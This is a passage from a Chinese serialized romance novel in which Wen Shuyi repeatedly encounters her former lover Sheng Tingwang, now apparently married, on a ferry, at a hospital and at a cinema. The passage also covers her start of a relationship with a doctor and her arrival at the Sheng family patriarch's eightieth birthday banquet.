每天窗户都被刮得哗哗乱响。 温疏亦失眠,三天只睡了不到三个钟头。 养母卫静给她打来电话,说了盛老爷子要过八十大寿的事情。 温疏亦是不想去的。 一来尴尬,二来,她怕再遇到盛珽妄。 “妈,我能不能不去?我最近工作实在是忙,要是再请假……” 那头没有理解,反而怪她不懂事,“盛老爷子就过一个八十大寿,你就算不给他面子,你爸的面子你总得给的吧?你不去,别人会怎么看待我们温家?疏亦,你和盛励解除婚约的事情,我们都依了你了,你要懂点事,就这么定了。” 养母没有再给温疏亦,找借口的机会。 不管她之前,有多怀疑,当年亲生父母的死与收养她的温家有关,都没有证据。 是块心病,但没有药医。 也就这么不高不低地吊着。 这三年,温家倒也没有多管过她在外面的事情。 这次盛老爷子过寿的事情,也是养母第一次提要求。 她妥协了,“知道了。” 放下手机。 头疼来袭。 她翻遍了包,也没有找到一片止痛药。 于是,拿了手机,下楼去酒店自营的药店,买药。 有很多游客没地方去,就在楼下的大厅里喝咖啡。 不巧的是,盛珽妄和许初音也在。 温疏亦暗叫倒霉,步子变快,闪进了药店。 许初音明显感觉到了,盛珽妄从发现温疏亦,到她进药店,他的眼神一直粘在她的身上。 许初音是不高兴的。 但她又找不到任何理由,来控制盛珽妄的眼睛,甚至是心。 “珽妄,既然回了华城,我想……继续去天景集团工作,你觉得怎么样?” 盛珽妄收回视线,端起咖啡,淡淡地啜了口,“你身体不好,还是好好养着吧。” “我一个人在家里呆着,也挺闷的,我会控制好工作的强度的,你就答应嘛,好不好?” 许初音温柔又娇俏。 这三年来,盛珽妄事事顺着她。 这件事情,也不例外,“如果你觉得,可以为自己的身体负责,我不阻拦。” “我会的,你放心吧。” 抬眼,温疏亦从药店里出来。 盛珽妄明显有了起身的动作。 许初音扶着额头,握住了他的胳膊,“珽妄,我有一点不舒服,你陪我回去吧,好吗?” 盛珽妄收回视线,抬手扶住了她。 许初音顺势靠在了男人的怀里,由着他揽着她,在温疏亦的面前,消失。 温疏亦看到盛珽妄和许初音,这副眷恋情深的模样。 眼眸有一些酸。 说没感觉是假。 说心无波澜,更是自欺欺人。 其实,这三年,她劝过自己无数遍。 一个头天晚上说要跟她结婚,转身就消失娶了别的女人的男人,根本不值得她去伤感。 她应该像对待盛励那样的。 你负我,那我就把你埋进土里。 等春暖花开,长出更多渣男来的时候,她就用镰刀,一个个地割掉他们的头。 以解心头之恨。 可她发现,她没有资格,更是拿不出精力,再来跟另一个渣男纠缠不清了。 就这样吧。 眼不见,心不烦。 从此一别两宽,就当闹了场笑话。 回到房间后,温疏亦吃了药,但还是睡不着。 她就坐在阳台上看这漫天的狂风暴雨。 手机响了一声。 一条加好友的信息。 没有名字。 图案是一张湛蓝的天空。 其实不难猜。 这个时候加她好友的,不是盛励就是盛珽妄。 她太了解盛励,他的头像一般就是跑车。 而且加好友,还会带一番表白。 像这种什么也没有的,只有一个可能,那就是盛珽妄。 温疏亦当年只把他删了。 忘记拉黑。 这次倒是顺手了。 她的世界终于是安静了。 盛珽妄加了几次好友,都没有收到温疏亦任何的回复。 他有些躁。 心情不算好。 出门,他不自觉地就走到了她的房间外面。 刚要抬手摁门铃。 就听到盛励的声音,带着讥诮地传了过来,“这刚回国,就想着来纠缠我的女朋友,盛珽妄,你是不是忘了,你已经结婚了?你非得把疏亦的名声搞臭,你才甘心?” “你怎么也在这儿?”盛珽妄蹙起眉心。 盛励得意地挑起眉梢,“不瞒你说,我让疏亦的团队,帮我设计了一款求婚钻戒,我要向疏亦求婚。” 盛珽妄听的可笑。 挺异想天开的,“她答应你了?” “她一定会答应我的。”盛励认为在对待温疏亦的感情方面,自己比盛珽妄要强,“就算她一时不答应我,也没关系,我有耐心,浪子回头金不换嘛。” “那我祝你成功吧。” 盛励两步走到盛珽妄的面前,“那就请你以后,不要再来骚扰我的未婚妻。” “等她成了你的未婚妻,你再说这话也来得及。”盛珽妄抬手整理了一下盛励的衣领,居高临下的俯视着他,“不过,在我看来,这机会挺渺茫的。” 盛珽妄拍了拍盛励的胸口。 更像是在警告他,离温疏亦远一点。 盛励不知道盛珽妄哪来的底气。 瞪起眼睛,直接输出,“我机会渺茫,你呢?你以为你是什么好东西?如果你把感情当成游戏,你当初以救世主的身份出现在她身边,就是一场骗局。” 盛珽妄的眉间,漫上一抹戾气。 要杀人的那种。 这时,门突然开了。 温疏亦站在门口,看着两个吵架的男人,“你们要吵架,能不能去别的地方吵,你们影响到我休息了知道吗?” “疏亦,我是来给你送甜点的。”盛励扬起不值钱的笑,将自己买的西饼,谄媚地递过去,“我让酒店的甜品师做的,你尝尝。” “我不要。”温疏亦有些烦,“你们赶紧走,再在我门口吵,我就叫保安了。” 说完。 温疏亦关上了门。 两个男人,碰了一鼻子灰,谁也没有得到好脸色。 一左一右,各自离开。 …… 三天后。 台风终是停了。 温疏亦的手机收到信息,下午可以登船。 她和张尔非要回市区。 “疏亦姐,这次的票没订到一起,我在C舱,你在E舱,这是你的票,你拿好。” “好。” 从海岛到市区,要坐船三四个小时。 温疏亦原本是想张尔非订个二人舱的,结果回城的人太多了,没能订到一起。 算了。 也不过三四个小时。 登船的时候。 温疏亦还特意找了找,没有看到盛励和盛珽妄,她心里总算不那么堵。 上船后。 她将自己的行李归置好,准备等待开船。 二人舱其实是家人,或是闺蜜,同事什么订在一起最方便。 头一次跟一个生人,呆在这么一个密闭的空间里,温疏亦还没见到人,就已经开始脚扣城堡了。 要是位女士,还好一些。 要是位男士,她真的…… 她拿出电脑,假装很忙,掩盖这份还没有发生的尴尬。 轮渡要开了。 房间的门,才被推开。 她抬眸…… 第24章 你有什么,值得我去等 是盛珽妄。 她真的是无语她妈给无语开门,无语到家了。 “你确定,你没有走错?”温疏亦还怀着最后一丝幻想,“你不是应该跟许初音在一起吗?她在哪间?我可以跟她换一下。” “她身体不好,换来换去的麻烦。”他将行李往旁边一放,就准备往床上坐。 温疏亦站也不是,坐也不是,躺着更不是。 她索性打开电脑,继续假装工作。 盛珽妄靠在床头上,胳膊垫在后脑,就那么看着她的侧脸出神。 温疏亦没怎么变。 一张清冷又干净的脸,五官漂亮到极致。 跟着视线,上下翕动的睫毛,令人着迷。 她的脖子很美。 皮肤白到几近透明。 这么看来,挺像小时候,他第一次见她时的模样。 只是头发短了,人也瘦了,好像更有精气神了一些,也好像身子骨更弱了。 他注意到,她床边柜上扔的几盒药。 “上次,看到你去药店买药,是哪里不舒服吗?” 温疏亦用余光淡扫了他一眼,“这是私事,不便奉告。” “跟我还讲究这么多?”他笑了口。 温疏亦也跟着无语冷笑一声,“我跟你很熟吗?” “我们不熟吗?” 她声音更凉,“不熟。” 盛珽妄其实心里很不好受。 辜负这个词,他没有想到,会发生在自己身上。 “其实,我答应你的事情,没有忘。” 盛珽妄突然的提及。 温疏亦还是微愣了那么一下。 这话在三年后说出来,就像一个冷笑话,不好笑,还挺冷。 她扭过脸来,近乎嘲笑地勾起了唇角,“哎呦,三爷好记性啊,可惜了,这三年我明白了一个道理,太相信别人的承诺,就是虐待自己,指望别人,永远不如靠自己。” “抱歉。”他沉声。 温疏亦不想听这种话。 说真的,她宁愿成为道歉的那个人,也不想成为被道歉的这个。 “不必了,我没有精力原谅。” 盛珽妄没再说话。 温疏亦最终是完成了,不该在现在完成的工作。 看了眼时间,也不过是过去了半个小时。 挺煎熬的。 但没办法,除了这里,她没有地方可去,只能忍着。 上床,她躺进被子里,开了空调,准备睡一觉。 刚闭上眼睛。 就感觉自己身边的位置陷了下去。 再回头。 盛珽妄的人已经躺在了她的身旁。 “你干什么?”她条件反射地要下床,他将她的细腰握住,愣是摁回了原处,“我还能吃了你?跑什么?” “盛珽妄,你能不能要点脸?”他不要脸,她还要呢,“你一个结了婚的男人,跟我睡在一起?你对得起你老婆吗?” “许初音不是我老婆。” 温疏亦眉心皱起。 想偷情的男人,还真是什么瞎话都能编得出来。 只可惜。 她还没有蠢到,他说什么,她就信什么的地步。 “我不管她是不是你老婆,请你放开我。”温疏亦挣扎着,很气很烦,恨不得一脚将他踹下去,“盛珽妄,我不是你的玩物,想起来就捏两下,玩够了就当垃圾扔到一旁,你以为你是谁啊?” 她越挣扎。 盛珽妄抱得越紧。 他迷恋她身上的气息,三年了,他想得厉害。 男人的想法,一旦上头。 他的身体就有了反应。 “三年前,我说过,我要跟你结婚的,忘了?”他扣住她的下巴,削薄的唇,几乎要贴上她的唇,“你忘了,我可没忘。” 温疏亦苦笑。 他还好意思提这茬。 是谁先背信弃约? 他在装什么。 “谁要跟你结婚,你有什么,值得别人等你?”温疏亦很凶,像一只准备战斗的小野猫。 盛珽妄有抱歉也有愧疚,更多的是心疼,“对不起,有些事情……” “你不必解释,我告诉你,我温疏亦再贱,也不会跟有妇之夫,纠缠不清,以前,算我眼瞎,以后还请三爷自重。” 就算盛珽妄没有结婚。 她也说服不了自己,去原谅。 她给他发过那么多的信息。 打过那么多的电话。 她躺在冰冷的手术床上,听着医生宣布她的输卵管切除一根的时候,她多希望,他能回来抱抱她。 都是泡沫。 什么也没有。 如果她原谅了他,她如何对得起当时自己受的那些。 温疏亦挣开盛珽妄的怀抱。 走到窗前,看向了平静的海面。 眼角湿了。 她擦了一下,有泪,挺没出息的。 就是委屈。 盛珽妄从身后抱住了她,宽大健硕的身体,紧紧地贴住她瘦薄的背。 他的身子很烫。 但却温暖不了她的心。 “能原谅我当年的,不告而别吗?” 温疏亦沉默了。 她其实不是一个记仇的人。 她也是一个很容易就能哄好自己的人。 能伤到她的,必然是她付出了真心的。 谈不上什么原谅不原谅。 只是她有眼无珠罢了。 “盛珽妄,其实,我在意的不是你娶不娶我,而你明明可以体面地跟我告别,你却选择了,用最残忍的方式,伤害了我,可能是……” 温疏亦深呼吸,眼眶很酸,胀胀的,有些话说出来,伤到的只会是自己,“……可能是,我在你心里,也就那么回事,男人嘛,有性不见得就有爱,你单纯喜欢我的身体,我其实能理解的,但你万不该,将感情掺杂进来,你不该欺骗我。” 盛珽妄动了动唇。 他想要解释的话,在此时,显得有一些难以出口。 除了对不起,他还能说什么,“是我对不起你,你怪我,怨我,恨我,都是应该的。” “盛珽妄,作为男人,可以穷,可以坏,但不能不负责任。”就像他在现在抱着她,就是渣的一种表现,“如果你的太太,知道你现在正抱别的女人说这些,她一定会很伤心的。” “我和许初音……”他很想说清楚,这其中的关系,但是温疏亦就是不想听,“……你们之间的事情,就别跟我讲了,说得再天花乱坠,我也不可能跟你再发生什么,见不得人的关系,三年前,我们就结束了,我不希望三年后再纠缠不清。” 她掰开了他的大手。 下一秒,他又将她抱进了怀里,呼吸变得深沉,“疏亦,我……” “珽妄,你在哪间?” “珽妄,你在哪儿啊,我有点不舒服,你出来一下好不好?” “珽妄……” 外面走廊上,传来了许初音的呼叫声。 温疏亦推开盛珽妄,快步走到门口,直接打开了门。 许初音刚好站在门口。 看到门口的女人,和窗口的男人,她一时惊愕到失语。 许久,她才找回了自己的声音,“珽妄,你怎么在这儿?” 第25章 我不需要任何一个人,为我去死 许初音的视线从盛珽妄的身上。 缓缓地落到了温疏亦的面上。 眉眼收紧,抬手,就给了她一个响脆的耳光,“温疏亦,你贱不贱,天底下的男人都死光了,非要来抢我的,是不是?” 这巴掌力道很重。 五根指痕,印在她白皙的皮肤上,半边脸麻木得几乎失去知觉。 盛珽妄没想到许初音会打人。 连手杖都没来得及拿,就快步走到了温疏亦的身旁。 他弯着身子,心疼地察看她的伤势,“我看看。” 许初音看得来气。 扯了盛珽妄一把,“到底她是你老婆,还是我是你的老婆?盛珽妄,你别太过分了。” “你打人,你还有理了?”他声音如掺了冰刀。 许初音眼眶瞬间泛起红,“你吼我?盛珽妄,你为了这个女人,你吼我?你对得我死去的父亲吗?他就是这么交代你照顾我的?” 许初音激动。 咳嗽了起来。 温疏亦脸又疼,心又烦,她推开盛珽妄,将二人一起赶出房间,“你们都给我走……” 温疏亦哭了。 不全是因为脸疼。 …… 另一个舱室里。 许初音一直掉泪。 她知道打温疏亦,会直接导致盛珽妄,对她失去耐心。 但她真的没有忍不住。 “对不起嘛,我下次冷静一点,行吗?”许初音满脸泪痕,怯生生地揪了揪盛珽妄的袖口,“也不能全怪我,我们这个房间空着,你非得去跟她住一起,我有气,很正常啊。” 盛珽妄抬眸。 清冷隽逸的脸上,似是覆了层冰霜。 眼底的烈火,几乎要喷涌而出。 许初音被吓到了。 除了他手刃敌人的时候,她没有见过如此浓烈的肃杀之气。 她只觉得后背发凉。 顺带着步子也紧张地后退,“我已经道歉了,你,你就别生气了。” “我告诉你许初音,我们不是夫妻,那场婚礼,不过是做戏,你别演着演着,自己当真了,明白?” 他的话像一把尖刀。 稳准狠的,插进了她的胸口。 她从十六岁跟在他身边,跟他枪林弹雨,有很多次,她都以为,她要跟他死在一起了。 他说过,她是他的光。 而现在,她这束光要灭了。 “如果不是做戏,你压根就没有想过娶我对吗?”许初音心寒,根本不接受这样的现实,“你是什么时候,不爱我的?” “我对你的感情不是爱。” 以前他说过,她是他的光。 这束光,像家人,像朋友,更像一种相互依偎的温暖。 不是爱情。 “所以,你爱的是温疏亦?” 许初音苦笑。 心口涩疼,“她哪一点比我强?盛珽妄,我是陪你成长的人,我懂你,她懂你吗?我可以为你去死,她可以吗?” “我不需要任何一个人,为我去死。” 他很烦这种情感上的绑架。 他为了许父,妥协一次了。 现在想来,这种妥协毫无意义,不,它伤害了一个人,那个满心满眼等要跟他结婚的女人。 盛珽妄想不得这些。 眼前总会出现温疏亦那张,冷淡又失望的脸。 “你是想说,我爸死了,你可以毫无顾忌地,抛弃我,抛弃你向我爸许的那些诺言,是不是?” 许初音喉间一阵腥甜。 一口血吐了出来。 盛珽妄拧眉,这种情况下,真没必要再争吵下去。 “你先好好休息,下了船,我们去医院检查身体。” 盛珽妄往外走。 许初音从身后抱住了他,“别走珽妄,陪陪我好吗?” 走到嘴边的拒绝。 终究是没有心狠的说出来,他转过身,扶住羸弱的女人,“你先上床休息,我不走。” …… 海浪和轮渡发动机的引擎声,交杂在一起。 温疏亦拖着行李下船,和张尔非汇合,一起往公司里走。 她脸色不算好。 张尔非给了她一颗薄荷糖,“疏亦姐,你是不是晕船了,要不,你今天就别去公司了,我跟CICI姐请个假,没关系的。” “不了,我得向CICI姐亲口解释一下,咱们这个业务的事情。” “那行吧。” 温疏亦回到天景后,处理了工作上的事情。 主管很好说话。 派了新的单子给她。 一整天,她都心不在焉。 终于等到下班时间。 她给李穗安打了个电话,约出来吃饭。 人到,菜还没上完。 温疏亦已经灌了自己两杯酒。 “怎么了这是?没拿下乙方,心里不爽?这三年,你都快成酒鬼了,行了,先别喝了,说事。” 李穗安是温疏亦的闺蜜。 外公是红圈里响当当的人物。 她的母亲年轻的时候,爱上一名军医。 不顾父母的反对,嫁了。 虽然谈不上大富大贵。 但至今恩爱有加。 李穗安是独生女,出生以来,就像她的名字一样,宜然,岁安,从小到大都被幸福围绕。 而温疏亦跟她就像人生的正反面。 所以…… 有些事情,她讲了,李穗安也未必能全懂。 “穗安,你不会懂的。” “你说我就懂啊,你在心里憋着,我又不会读心术,怎么懂?”李穗安,托着下巴,索性猜了起来,“是不是,这次出差,遇到了不想遇到的人?是盛励吗?” 温疏亦苦笑。 李穗安在猜她心事这件事情上,确实有点门道。 但让她难过的不是盛励,“他都已经是过去式了,不过,你也没猜错,这次乙方就是他,鬼知道,他怎么突然想订一枚钻戒,要跟我求婚……神经病。” 李穗安笑了。 盛励和沈馨晚绯闻从网上传到盛家,然后坐实。 那段时间,盛家成了红圈里的笑谈。 她听到不少杜撰的床帏之事,“那你的想法呢?是接受,还是拒绝?你现在如此的难过,不会是因为这个渣男吧?你想吃回头草?温疏亦,你要吃回头草,我可就真瞧不起你了。” 温疏亦摆手。 端起酒杯,又抿了一口,“不至于,我心情不好,是因为……见到盛珽妄了。” “他?” 盛珽妄在圈里,可不是一般的存在。 有点风吹草动,就会传得沸沸扬扬。 “疏亦,我听说,他好像结婚了,你……还对他旧情难忘啊?”李穗安心疼地握住了温疏亦冰凉的小手,“你还没有放下他吗?” 温疏亦不知道该怎么形容,她对盛珽妄的感受,“穗安,当我被推出手术室,全身冰凉,艰难地给他发信息,求他回国的时候,那头却了无音讯,那时,我就已经放下了。” “可是你还是难过了,不是吗?” 第26章 有些人,错过就是一辈子 温疏亦摇头,“我难过的是我自己,穗安,你说我是不是吸渣体质?过两天,你陪我上山,求个护身符吧,我要远离一切渣男。” “好。”李穗安答应了。 其实,温疏亦很少聊自己的事情。 李穗安知道她,喜欢憋着。 这次,应该是实在憋不住了。 “疏亦,要不,我给你介绍个男朋友吧,你有了新的感情,慢慢地,就会对过去的事情释怀,怎么样?” 温疏亦这三年来,一门心思搞钱。 她很怕有男人看上她的钱了,捂紧口袋,“穷鬼可不要啊,我挣点钱不容易,还想着要供房子呢。” 李穗安被她逗笑。 前仰后合的,“哪能啊,正儿八经的……医生。” “医生?”温疏亦猜到了,“不会是你二伯家的堂哥,李江衍吧?” “对啊,你觉得怎么样?”李穗安眨巴眼,“一表人才,情感往事也不多,人呢,正直可靠,收入还可以,抽个时间,见个面聊聊?” 温疏亦对这位李医生,印象不深。 见过几面,也不过是点头问个好的交情。 倒也不是排斥,“也行。” “那我给我哥发个信息,把你的微信推给他,你们先线上聊,聊得差不多了,再线下确定关系,省得大家尴尬。” 温疏亦点头。 这事就这么定了。 李穗安的家风很正,李江衍应该也差不了哪里去。 微信互加成功后。 李江衍并没有跟温疏亦聊天。 直到她回家,洗完澡准备要睡觉了,才收到了他的信息。 [不好意思疏亦,我今天有点忙,既然大家都认识,我们就见面聊吧,明天下午,我刚好有半天的休息时间,你要是方便的话,可以来医院找我。] 明天是周六。 医生还真是辛苦。 温疏亦上床,抱着手机给他回,[好呀,正好明天我休息,到时我去找你。] [那不见不散。] [好。] 李江衍发了医院的地址。 又发了个晚安的表情,就下线了。 隔天。 温疏亦确定好李江衍完成工作后。 这才去的医院。 科室里的同事,打趣李江衍,“怪不得以前给你介绍咱们科的护士,你都不要呢,原来自己找的女朋友,这么漂亮的,李医生,你本事还怪大的,想羡慕死谁。” 李江衍只是笑笑,像是收下了大家的祝福。 温疏亦有点尴尬。 他转过脸来,温和地与她说话,“穗安介绍了一部很好的电影,咱们一会儿去看?” “可以啊。” 温疏亦微笑,唇角两个浅浅的梨涡。 李江衍个头高。 温疏亦说话的时候,他很耐心地弯着身子,将耳朵凑到她面前。 同事们笑他,“看来,李医生将来又是位妻管严了。” 走出科室。 温疏亦的脸还有一些热。 一抬眸。 就看到顾临和盛珽妄一起走了过来。 显然。 所有的人,都没有想到,会这样不期而遇。 错愕,意外。 但好像也不是很难猜,这样同时出现的温疏亦和李江衍的关系。 “李医生,下班了?”顾临打起了招呼。 李江衍微微一笑,“是啊,好歹能休息半天,想着跟我女朋友,去看个电影。” 顾临:……女朋友? 盛珽妄:……女朋友? 盛珽妄将眸光,落到了温疏亦的面上。 她选择了回避。 顾临看了盛珽妄一眼,似在说,看吧,自己不珍惜,现在成别人的女朋友了。 没等顾临八卦开口。 李江衍便介绍道,“你们应该不陌生,温疏亦。” 确实。 大家都不算陌生。 甚至,有两个人,还过分的熟悉。 “那我们就先走了。” 李江衍冲顾临和盛珽妄,客气颔首后,转身和温疏亦离开。 顾临摸了摸鼻尖,轻笑,“说说吧,什么感觉?” “你说什么感觉?”盛珽妄心情不算太好,连往病房走的脚步,都透着怒气。 顾临快走几步追上他,“那天整理档案的时候,我无意中看到了温疏亦三年前的病例,你离开的那一个月后……她做了个手术。” “手术?”盛珽妄停下脚步,转眸看向他,“什么手术?她病了吗?” “宫外孕手术。”顾临没卖关子。 盛珽妄心咯噔一下。 握着手杖的指尖,蓦地收紧。 密密麻麻的窒息感,爬满了他的心脏,令他难受。 宫外孕手术……,在他离开的一个月后。 那时。 他被威胁,在枪林弹雨中送军火。 她一定给他打过无数的电话,发过很多的信息。 无助和失望过后,换来就是绝望…… “当时送她来医院的,是她的房东,要是稍晚一点,后果不堪设想。”顾临不想说得多严重,但宫外孕这种事情,弄不好真会死人,“房东送她进了手术室,就离开了,她一个人硬挺着度过了最难熬的那段时期。” 顾临拍了拍盛珽妄的肩。 其实,有些话,不需要说太明白。 他懂的。 “走吧,现在去看看初音。” 在顾临和盛珽妄来病房前。 许初音已经买通了检查科的医生,篡改了她的检查结果。 “顾临,我没事儿吧?之前有一些病根,还没有好……我不会死的对吧?” 许初音红着眼。 戏演得很好。 顾临看着检查单子。 并没有多想,“初音,你好好休息,我跟盛珽妄去外面说点事情。” 病房外。 走廊上。 顾临语重心长,“初音的情况不容乐观,你既然已经辜负了温疏亦,就不要再辜负初音了,她现在很需要人的陪伴,许叔对你那么好……” “你也要绑架我?”盛珽妄拧紧了眉心。 顾临不是这个意思,“温疏亦现在有男朋友了,你也看到了,是李江衍,这个人正的发邪,温疏亦会喜欢上他的,况且……当年你那样离开后,了无音讯,她又经历了那样的生死,你觉得她还会原谅你吗?” 盛珽妄不说话。 唇角绷得很紧。 顾临又说,“现在全华城的人,都知道你盛珽妄结婚了,你和温疏亦你们……” 覆水难收。 有些人错过了,就真的是一辈子。 “……其实,放下她,也是放过自己,初音的病……没多长的时间了,在她余下的日子里,好好的陪伴,就算不提许叔,你至少可以对得起自己的良心不是吗?” 顾临话,终究劝慰不了盛珽妄。 他比任何人都知道。 只要他放手。 温疏亦就永远不会再属于他。 她恨他,恨他悄无声息地走,恨他带着别人丈夫的身份回来,难道,他不恨吗? 他恨不得自己就死在国外。 那样,至少,她对他还是怀念的。 不像现在,她和别的男人光明正大地离开,而他却……无能为力。 …… 第27章 残废还想脚踏两条船 电影院里。 荧幕上是一部文艺片。 来看这种片子的,几乎都是情侣,每对离得都比较远,醉翁之意不在酒。 看得出来,李江衍是真的喜欢这种片子。 他看得很认真。 只有温疏亦一个人,心不在焉的。 突然,手上的爆米花上,多了一只男人的手,她惊愕转头,就看到了盛珽妄。 男人冲她比了个嘘。 走到唇边的尖叫,愣是这样咽了下去。 男人拿了手机,将自己的添加好友的二维码,递了过去。 温疏亦不理。 他又往她眼下递了递。 温疏亦转过脸来,瞪向他,压低声音,“你有病啊?” “你要不要再大点声?”他用眼神指了指手机,“我们还是用手机交流,比较不影响李医生的观影体验。” 温疏亦看了一眼,正专注观影的李江衍。 拿出手机,添加了盛珽妄。 盛珽妄没有说话,低头在手机上打字。 [后天,盛老爷子的生日,你打算带李江衍一起来吗?] 这话问得,好像他已经知道,她一定会到似的。 温疏亦细嫩的指尖,在手机上输入,[不需要向你报备吧。] [已经决定要跟他恋爱了?] 温疏亦:[没错。] 盛珽妄沉默半晌,[我还有机会吗?] 温疏亦看着这行字。 觉得挺可笑的,[三爷已婚,问这个,是想跟我搞婚外情?你夫人的巴掌,我可不想再承受了。] [我代她向你道歉。] 温疏亦提气,又缓缓吐息,[我接受后,是不是你以后就不再骚扰我?] 盛珽妄起身。 走出了观影厅。 温疏亦松了口气,谁知,手机紧接着就收到了他的信息,[出来,说清楚,我放你走。] 温疏亦盯着这行字,有些看不懂了。 其实,她心里也想对过去,做一个彻底的决断。 未来,对彼此都好。 “江衍哥,我去上个洗手间,一会儿就回来。” 李江衍准备起身,“我陪你。” “不用,我自己可以。” 温疏亦撒了个谎。 走出了观景厅。 她四下里也没有找到盛珽妄。 在路过洗手间时,一只大手将她扯了进去。 一个母婴专用的洗手间。 空间狭窄,局促。 他将她圈在身前,她的后腰迫不得已地抵在置物台上,很不舒服。 “不是要说清楚吗?”她没抬头看他,不是不敢,是不想。 男人过于高大,健硕的身形,在温疏亦的面前,像是要把她笼罩,压迫感极强,“抬头看着我。” 温疏亦闭了闭眼。 一副视死如归的模样,望向了他,“说……唔……” 他摁着她的后脑。 辗转,碾压。 容不得对这个吻,有一丝一毫的拒绝。 舌尖强势,撬开她的齿,与之纠缠。 温疏亦这点薄弱的力量,在盛珽妄的面前,简直不值一提。 她索性放弃挣扎。 由着他由热烈转为温柔,最后一巴掌扇在了他的脸上,“三爷就这么喜欢玩这种刺激?” “疏亦,给我时间,好吗?我会处理好,与许初音的事情。”他动了动腮,眉眼间透着卑微。 温疏亦扭过脸,不看他,声音有些苍凉,“是因为我傻吗?是因为我够傻,够蠢,才会选择我这样的人,一再欺骗,是吗?” “不是。”他喉结动了动,与她和额头相抵,“疏亦,三年前,我是真的想与你结婚的,我没有骗你。” “是啊。”她眼睛里含满泪水,唇角却笑着,“我相信了,可你走了不是三天,是三年,你现在是许初音的丈夫,你是别人的老公,现在说这些,还有什么意义呢?” 如果如他所说的。 他那样地喜欢她。 他完全可以跟她领完证后,再去跟许初音处理她的家事。 他没有。 他压根就没有想过要娶她。 男人在床上的情话,就像个屁,只有她这种蠢货,相信了。 “盛珽妄,我已经准备要重新开始了,我觉得江衍哥挺好的,他有学识,工作体面稳定,人也正直,更不嫌弃我的过去,今晚,我们聊得很投机,我希望,你以后不要再来打扰我的人生。” 话说到这个份。 再有数汹涌的情感,也不至于苦苦纠缠到不要脸面。 温疏亦推开了盛珽妄,将弄乱的头发和衣领,重新整理好。 拾步离开时,他扣住了她的手腕,“他就这么好吗?” “至少现在看来,他是一个不错的人。” 走不走的到最后,谁也没法说。 为了让盛珽妄不再纠缠,温疏亦还说了一些难听的话,“不像三爷你,毫无诚信可言不说,没有正经的工作,身体还有残疾,思想上还总想着脚踏两只船。” 盛珽妄自嘲地笑了笑。 苦涩在唇角滑过。 终是放开了她的手。 温疏亦没有丝毫的留恋,拉开门,走了出去。 文艺片的电影,已经接近尾声。 李江衍很耐心跟温疏亦讲了,她离开后影片的内容。 温疏亦心不在焉地听他讲完,影片也结束了。 灯亮起。 稀稀拉拉的情侣,往外走。 温疏亦和李江衍去吃了饭。 然后像所有的情侣一样,压了会儿马路,他便将她送回了租住的公寓。 “我听穗安说,你打算买房子?”李江衍问。 温疏亦点头,“是有这个想法。” “那需要帮忙吗?”李江衍怕温疏亦误会,赶紧补了句,“我的意思是,我可以介绍给你可靠的中介,而且银行那边,我也有熟人,可以拿到利率最低的贷款。” 温疏亦没有多想。 她想多付点首付,到时贷款就还得少一些 买房是打算来年开春了,“到时需要的话,我就找你。” “行。” 好像没有过多的客套和约定。 温疏亦和李江衍自然而然的,就成了情侣的设定。 她想,过日子嘛,平平淡淡的,才踏实。 她挺喜欢这种感觉的。 …… 盛老爷子八十岁的寿宴。 邀请了很多红圈内的人。 温疏亦没跟着温家人一起来,而是选择了单独前往。 目的很简单。 简单地送上祝福后,她打算提前离开。 盛家的大门依然庄严,上面功臣的牌匾,格外显眼。 “你们凭什么不让我进去,我是盛励的女朋友,我将来也是他的妻子,是盛家人,我来给盛爷爷祝寿,你们别拦着我。” 是沈馨晚。 温疏亦倒是有日子没见她了。 她以前挺端庄的。 自从她被赶出盛家后,又是闹自杀,又在堵盛励的门,完全失了态。 有一些唏嘘。 看到温疏亦走过来。 沈馨晚傲娇地抬起了下巴,“你现在跟盛家又没有关系,你怎么也来了?” 第28章 痛处 “我是跟盛家没了关系,但温家与盛家的交情还在,走个过场而已,你激动个什么劲?” 温疏亦打量着面前的女人。 她是特意打扮过了。 是盛家长辈们喜欢的装束。 但是盛家人更在意自己的脸面,沈馨晚上次闹那一出,无疑会让那些丢脸的事情,重新摆上台面。 来了,也是白来。 “沈馨晚,我挺可怜你的,你怎么会不知道盛励不能生育呢?还搞怀孕逼婚那一出?” 沈馨晚被戳了痛处。 脏色极为难看。 “他功能没有问题,我哪知道他不能怀孕,我只是想逼他一把……”沈馨晚知道自己的戏演砸了,苦涩扯唇,“我以为他是那样的爱我,会不顾一切地选择给我一个名分,没有,什么也没有,他爱的只是他自己的感受,是他的脸面,我?” 沈馨晚笑了。 眼角的泪花闪烁,酸扯着,“我算什么?不过是一个被处理的对象,温疏亦,你离开他是对的,他根本不是什么好东西,盛家人也没有好东西,你和我一样,都是炮灰。” 温疏亦听到这些。 眉心微微发皱。 她不赞成这种说法。 所谓炮灰,也是沈馨晚自找的。 如果她肯带着米米,跟陈家人一起好好过日子,何至于到今天这个地步。 一切都是她自找的。 “陈铭去世后,你没有好好考虑自己和孩子的未来,把注押在了盛励的身上,本身就是错误的,盛家不可能让盛励娶你,这样的下场,也是自找的。” 沈馨晚承认。 她以为会和盛励有一个很好的结果,一起把米米抚养长大。 哪知道,如今是这样的。 她如何甘心。 “是他口口声声说爱我的,是他说他会好好照顾我和米米,好好爱我和米米的,是他说,这么多年,一直没有放下我,而如今……” 沈馨晚看向温疏亦的眼神中,透出怨恨,“……是你,他的魂又让你勾去了,所以才对我这样的,温疏亦,你明明跟他分手了,为什么还要勾引他?” 温疏亦:…… 嗤笑,“沈馨晚,你真是没救了。” 温疏亦大步走进盛家。 沈馨晚想追在她身后混进去,还是被看门的人,给拦下了。 三年未曾再踏入过的盛家。 还是老样子,没怎么变。 温疏亦步子不算快,有认识她的人,跟她打招呼,她会微微颔首致意。 “疏亦阿姨。” 是米米的声音。 多年未见,小姑娘长高了不少。 只是这眼神中褪去了不多的纯真后,看起来更加阴恶。 想到刚刚见到的沈馨晚。 她妈妈不让进来,她倒是可以。 挺奇妙的。 盛励的母亲牵着她,走到了温疏亦的面前,“米米这孩子命苦,盛励看不得她跟着沈馨晚那疯子吃苦,就让我带些日子,她说看到你来了,我还不信,你果然是来了,看来阿励说的没错。” 温疏亦:……??? “他……说什么了?” “他说,他最近在很努力地追求你,我听着很是欣慰,你们本不该走到分手的地步,不过好在,阿励他知错能改,你们可以互不计较,能再续前缘,也是好事一桩。” 李舒萍脸上的笑容不像是假的。 有太多的欣慰在里面。 但唯独没有考虑过她的感受。 温疏亦还是纠正了一下,“阿姨,你可能搞错了,我有男朋友了。” 李舒萍微愣。 她不确定自己是不是听错了,“你是说……你有男朋友了?” “是啊阿姨,所以,我和盛励是不可能再在一起的。”温疏亦微笑着说。 李舒萍脸变了色。 